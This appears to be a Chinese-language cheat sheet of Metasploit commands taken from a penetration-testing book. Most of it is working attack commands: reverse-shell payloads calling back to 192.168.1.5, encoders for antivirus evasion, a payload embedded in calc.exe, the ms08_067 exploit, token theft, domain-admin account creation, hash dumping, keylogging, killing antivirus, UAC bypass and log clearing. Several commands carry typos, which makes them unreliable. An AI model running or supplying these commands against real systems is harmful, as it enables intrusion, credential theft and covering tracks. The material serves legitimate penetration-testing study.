《Metasploit渗透测试指南》命令参考列表
1.MSF终端命令
show exploit
列出metasploit框架中的所有渗透攻击模块。
show payloads
列出metasploit框架中的所有攻击载荷。
show auxiliary
列出metasploit框架中的所有辅助攻击模块。
search name
查找metasploit框架中的所有渗透攻击和其他模块。
info
展示出制定渗透攻击或模块的相关信息。
use name
装载一个渗透攻击或者模块。
LHOST
目标主机链接的IP地址。
RHOST
远程主机或者目标主机。
set function
设置特定的配置参数。
setg function
以全局方式设置特定的配置参数。
show options
列出某个渗透攻击或模块中所有的参数配置。
show targets
列出渗透攻击所支持的目标平台。
set target num
指定你所知道的目标的操作系统以及补丁版本类型。
set payload
指定想要使用的攻击载荷。
show advanced
列出所有高级配置选项。
set autorunscript migrate -f.
在渗透攻击完成后,将自动迁移到另一个进程。
check 检测目标是否对选定渗透攻击存在相应安全漏洞
exploit
执行渗透攻击或模块来攻击目标。
exploit -j
在计划任务下进行渗透攻击(攻击将在后台进行)
exploit -z
渗透攻击成功后不与会话进行交互。
exploit -e encoder
制定使用的攻击载荷编码方式
exploit -h
列出exploit命令的帮助信息。
sessions -l
列出可用的交互会话(在处理多个shell时使用)
sessions -l -v
列出所有可用的交互会话以及会话详细信息,例如:攻击系统时使用了哪个安全漏洞。
sessions -s script
在所有活跃的meterpreter会话中运行一个特定的meterpreter脚本。
sessions -K
杀死所有活跃的交互会话。
sessions -c cmd
在所有活跃的metaerpreter会话上执行一个命令。
sessions -u sessionID
升级一个普通的win32shell到meterpreter shell。
db_create name
创建一个数据库驱动攻击所要使用的数据库。
db_nmap
利用nmap并把所有扫描数据库存储到数据库中。
db_autopwn -h
展示出db_autopwn命令的帮助信息。
db_autopwn -p -r -e
对所有发现的开放端口执行db_autopwn,攻击所有系统,并使用一个反弹式shell。
db_destroy
删除当前数据库。
db_destroy user:password@host:port/database
使用高级选项来删除数据库。
2.metapreter命令
help
打开帮助
run scriptname
运行meterpreter脚本,在scripts/meterpreter目录下可查看到所有脚本名。
sysinfo
列出受控主机的系统信息。
ls
列出目标主机的文件和文件夹信息。
use priv
加载特权提升扩展模块,来扩展meterpreter库。
ps
显示所有运行进程以及关联的用户账户。
migrate PID
迁移到一个指定的进程ID
use incognito
加载inconito功能(用来盗取目标主机的令牌或是假冒用户)
list_tokens -u
列出目标主机用户组的可用令牌。
impersonate_token DOMAIN_NAME\\USERNAME
假冒目标主机上的可用令牌。
steal_token
盗窃给定进程的可用令牌并进行令牌假冒。
drop_token
停止假冒当前的令牌。
getsystem
通过各种攻击向量来提升到系统用户权限。
shell
以所有可用令牌来运行一个交互的shell。
execute -f cmd.exe -i
执行cmd.exe命令并进行交互。
execute -f cmd.exe -i -t
以所有可用令牌来执行cmd命令。
execute -f cmd.exe -i -H -t
以所有可用令牌来执行cmd命令并隐藏该进程。
rev2self
回到控制目标主机的初始用户账户下。
reg command
在目标主机注册表中进行交互,创建,删除和查询等操作。
setdesktop number
切换到另一个用户界面(该功能基于那些用户已登录)。
screenshot
对目标主机的屏幕进行截图。
upload file
向目标主机上传文件。
download file
从目标主机下载文件。
keyscan_dump存储目标主机上或许的键盘记录。
getprivs
尽可能多的获取目标主机上的特权。
uietl enable keyboard/mouse
接管目标主机的键盘和鼠标。
background
将你当前的meterpreter shell转为后台执行。
hashdump
导出目标主机中的口令哈希值。
use sniffer
加载嗅探模块。
sniffer_interfaces
列出目标主机所有开放的网络接口。
sniffer_dump interfaceID pcapname
在目标主机上启动嗅探。
sniffer_start interfaceID packet_buffer
在目标主机上针对特定范围的数据包缓冲区启动嗅探。
sniffer_stats interfaceID
获取正在实施嗅探网络接口的统计数据
sniffer_stop interfaceID
停止嗅探。
add_user username password -h ip
在远程目标主机上添加一个用户。
add_group_user “Domain Adimins”username -h ip
将用户添加到目标主机的域管理员组中。
clearev
清除目标主机上的日志记录。
timestomp
修改文件属性,例如修改文件的创建时间(反取证调差)。
reboot
重启目标主机。
3.MSFpayload命令
msfpayload -h
MSFpayload 的帮助信息。
msfpayload windows/meterpreter/bind_tcp O
列出所有可用的攻击载荷。
msfpayload windows/metarpreter/bind_tcp O.
列出所有windows/meterpreter/bind_tcp 下攻击载荷的配置项(任何攻击载荷都是可以配置的)。
msfpayload windows/metaerpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X>payload.exe
创建一个metarpreter的reverse_tcp 攻击载荷回连到192.168.1.5的443端口,将其保存为名为payload.exe的windows可执行程序。
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R>payload.ray
与上面生成同样的攻击载荷,到导成原始格式的文件,该文件将在后面的MSFencode中使用。
msfpayload windows/meterpreter/bind_tcp LPORT=443 C>payload.c
与上面生成同样的攻击载荷,但导出成C格式的shellcode。
msfpayload windows/meterpreter/bind_tcp LPORT=443 J>payload.java
导出成以%u编码方式的javaScript语言字符串。
4.MSFencode命令
msfencode -h
列出MSFencode的帮助信息。
msfencode -l
列出所有可用的编码器。
msfencode -t(c,eif.exe,java,js_be,perl,raw,ruby,vba,vbs,loop-vbs,asp,war,macho)
显示编码缓冲区的格式。
msfencode -i payload.raw -o encoded_payload,exe -e x86/shikata_ga_nai -c 5 -t exe
使用 shikata_nai编码器对payload.raw文件进行5次编码,然后导出一个名为encoded_payload.exe的文件。
msfpayload windows/meterpreter/bind_tcp LPORT=443 R|msfencode -e x86/_countdown -c 5 -t raw|msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded_payload.exe
创建一个经过多种编码格式嵌套编码的攻击载荷。
msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c
创建一个纯字母 数字的shellcode,由ESI寄存器指向shellcode,以C语言格式输出。
5.MSFcli命令。
msfcli | grep exploit
仅列出渗透攻击模块。
msfcli | grep exploit/windows
仅列出与Windows相关的渗透攻击模块。
msfcli exploit/windows/smb/msf08_067_netapi PYALOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.142 E
对172.16.32.142 发起ms08_067_netapi渗透攻击,配置了bind_tcp攻击载荷,并绑定在443端口进行监听。
6.Metasploit高级忍术
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R|msfencode -x calc.exe -k -o payload.exe -c x86/shikata_ga_nai -c 7 -t exe
创建一个反弹式的Meterpreter攻击载荷,回连到192.168.1.5 主机的443端口,使用calc.exe作为载荷后门程序,让载荷执行流一直运行在被攻击的应用程序中,最后生成以.shikata_ga_nai编码器编码后的攻击载荷可执行程序payload.exe。
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R|msfencode -x calc.exe -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe
创建一个反弹式的meterpreter攻击载荷,回连到192.168.1.5主机的443端口,使用calc.exe作为载荷后门程序,不让载荷执行流一直运行在被攻击的应用程序中,同时在攻击载荷执行后也不会再目标主机上弹出任何信息。这种配置非常有用,当你通过浏览器漏洞控制了远程主机,并不想让计算机程序打开呈现在目标用户面前,同样,最后生成用.shikata_ga_nai 编码的攻击载荷程序payload.exe。
msfpayload windows/meterpreter/bind_tcp LPORT=443 R|msfencode -0 payload.exe -e x86/shikata_ga_nai -c 7 exe & & msfcli multi/bandler PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 E
创建一个raw格式的bind_tcp模式Meterpreter攻击载荷,用shikata_ga_nai编码7次,输出以payload.exe命名的windows可执行程序文件,同时启用多路监听方式进行执行。
7.MSFvenom
利用MSFvenom,一个集成套件,来创建和编码你的攻击载荷。
msfvenom --payload
windows/meterpreter/reverse_tcp --format exe --encoder x86/shikata_ga_nai
LHOST=172.16.1.32 LPORT=443 > msf.exe
[*] x86/shikata_ga_nai succeeded with size 317(iteration=1)
root://opt/framework3/msf3#
这一行命令就可以创建一个攻击载荷并自动产生出可执行文件格式。
8.Meterpreter后渗透攻击阶段命令。
在Windows主机上使用metarpreter进行提权操作。
meterpreter>use priv
meterpreter>getsystem
从一个给定的进程ID中窃取一个域管理员组令牌,添加一个域账户,并把域账户添加到域管理员组中。
meterpreter>ps
meterpreter>steal_token 1784
meterpreter>shell
c:\windows\sysem32>user metasploit @password /ADD /DOMAIN
c:\windows\sysem32>net group "Domain Admins" metasploit /ADD /DOMAIN
从SAM数据库中导出密码的哈希值。
meterpreter>use priv
meterpreter>getsystem
meterpreter>hashdump
提示:在widonws 2008中,如果getsystem命令和hashdump命令抛出异常情况时,你需要迁移到一个以SYSTEM系统权限运行的进程中。
自动迁移到一个独立进程。
meterpreter>run migrate
通过meterpreter的killav脚步来杀死目标主机运行的杀毒软件进程。
meterpreter>run kallav
针对一个特定的进程捕获目标主机上的键盘记录:
meterpreter>ps
meterpreter>migrate 1436
meterpreter>kayscan_start
meterpreter>kayscan_start
meterpreter>keyscan_dump
meterpreter>kayscan_stop
使用匿名方式来假冒管理员:
meterpreter>use incognito
meterpreter>list_tokens -u
meterpreter>use priv
meterpreter>getsystem
meterpreter>list_tokens -u
meterpreter>impersonate_token IHAZSECURITY\\Admininistrator
查看目标主机都采取了那些防范保护措施,列出帮助菜单,关闭防火墙以及其它我们发现的保护措施。
meterpreter>run getcountermeasure
meterpreter>run getcountermeasure -h
meterpreter>run getcountermeasure -d -k
识别被控制的主机是否是一台虚拟机。
meterpreter>run checkvm
在一个meterpreter会话界面中使用cmd shell。
meterpreter>shell
获取目标主机的图形界面(VNC).
meterpreter>run vnc
使正在运行的meterpreter界面在后台运行。
meterpreter>background
绕过windows的用户账户控制(UAC)机制。
meterpreter>run post/windows/escalate/bypassuac
导出苹果OS-X系统的口令哈希值。
meterpreter>run post/osx/gather/hashdump
导出linux系统的口令哈希值。
meterpreter>run post/linux/gather/hashdump